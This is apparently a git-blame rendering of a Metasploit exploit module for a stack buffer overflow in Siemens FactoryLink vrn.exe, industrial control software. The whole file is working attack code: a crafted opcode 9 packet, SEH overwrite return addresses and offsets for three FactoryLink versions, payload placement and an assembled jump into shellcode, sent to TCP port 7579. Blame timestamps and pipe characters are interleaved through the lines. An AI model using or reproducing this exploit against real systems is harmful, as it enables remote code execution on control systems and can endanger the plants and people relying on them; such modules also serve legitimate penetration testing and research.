2011-06-21 13:20:18 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-06-21 13:20:18 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = AverageRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
2011-06-26 19:28:14 +00:00
|
|
|
include Msf::Exploit::Remote::Seh
|
2011-06-21 13:20:18 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2011-06-26 06:01:21 +00:00
|
|
|
'Name' => 'Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow',
|
2011-06-21 13:20:18 +00:00
|
|
|
'Description' => %q{
|
2011-06-21 21:08:57 +00:00
|
|
|
This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,
|
|
|
|
and 8.0.1.703. By sending a specially crafted packet, an attacker may be able to
|
|
|
|
execute arbitrary code due to the improper use of a vsprintf() function while
|
|
|
|
processing the user-supplied text field. Originally found and posted by
|
|
|
|
Luigi Auriemma.
|
2011-06-21 13:20:18 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
2011-10-17 03:49:49 +00:00
|
|
|
[
|
2011-06-21 13:20:18 +00:00
|
|
|
'Luigi Auriemma', # Public exploit
|
2011-06-26 19:28:14 +00:00
|
|
|
'hal', # Metasploit module
|
|
|
|
'MC', # SEH, badchars, etc
|
2011-06-21 13:20:18 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2011-06-21 18:02:35 +00:00
|
|
|
['OSVDB', '72815'],
|
2011-12-20 20:07:29 +00:00
|
|
|
['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt'],
|
|
|
|
['URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-091-01.pdf']
|
2011-06-21 13:20:18 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2011-06-26 19:28:14 +00:00
|
|
|
'EXITFUNC' => 'seh',
|
2011-06-21 13:20:18 +00:00
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2011-06-26 19:28:14 +00:00
|
|
|
'Space' => 550,
|
|
|
|
'BadChars' => "\x00\x20\x0a\x0d",
|
2011-06-21 13:20:18 +00:00
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2011-06-26 19:28:14 +00:00
|
|
|
[ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'Offset' => 994 } ],
|
|
|
|
[ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'Offset' => 994 } ],
|
|
|
|
[ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'Offset' => 998 } ],
|
2011-06-21 13:20:18 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Mar 21 2011'))
|
|
|
|
|
2011-06-26 19:28:14 +00:00
|
|
|
register_options([Opt::RPORT(7579)], self.class)
|
2011-06-21 13:20:18 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
2011-06-26 19:28:14 +00:00
|
|
|
header = "\x3f" * 4
|
|
|
|
header << "\xff\x55"
|
|
|
|
header << "\x09\x00" # opcode
|
|
|
|
header << "\x3f\x3f\xff\xff"
|
|
|
|
header << "\x00\x00\x3f\x3f"
|
|
|
|
header << "\x01\x00"
|
|
|
|
header << "\x3f" * 16
|
|
|
|
header << "\x01\x00\x01\x00"
|
|
|
|
header << "\x3f\x3f"
|
2011-06-21 13:20:18 +00:00
|
|
|
|
2011-06-26 19:28:14 +00:00
|
|
|
data = rand_text_alpha_upper(65535)
|
|
|
|
data[448, payload.encoded.length] = payload.encoded
|
|
|
|
data[target['Offset'], 8] = generate_seh_record(target.ret)
|
|
|
|
data[1006, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-524").encode_string
|
2011-06-21 13:20:18 +00:00
|
|
|
|
2011-06-26 19:28:14 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
2011-06-21 13:20:18 +00:00
|
|
|
|
2011-06-26 19:28:14 +00:00
|
|
|
connect
|
|
|
|
sock.put(header + data)
|
2011-11-06 22:02:26 +00:00
|
|
|
|
2011-06-21 13:20:18 +00:00
|
|
|
handler
|
2011-06-26 19:28:14 +00:00
|
|
|
|
|
|
|
select(nil,nil,nil,1)
|
2011-06-21 13:20:18 +00:00
|
|
|
disconnect
|
2011-06-26 19:28:14 +00:00
|
|
|
|
2011-06-21 13:20:18 +00:00
|
|
|
end
|
2011-06-26 19:28:14 +00:00
|
|
|
|
2011-06-21 18:02:35 +00:00
|
|
|
end
|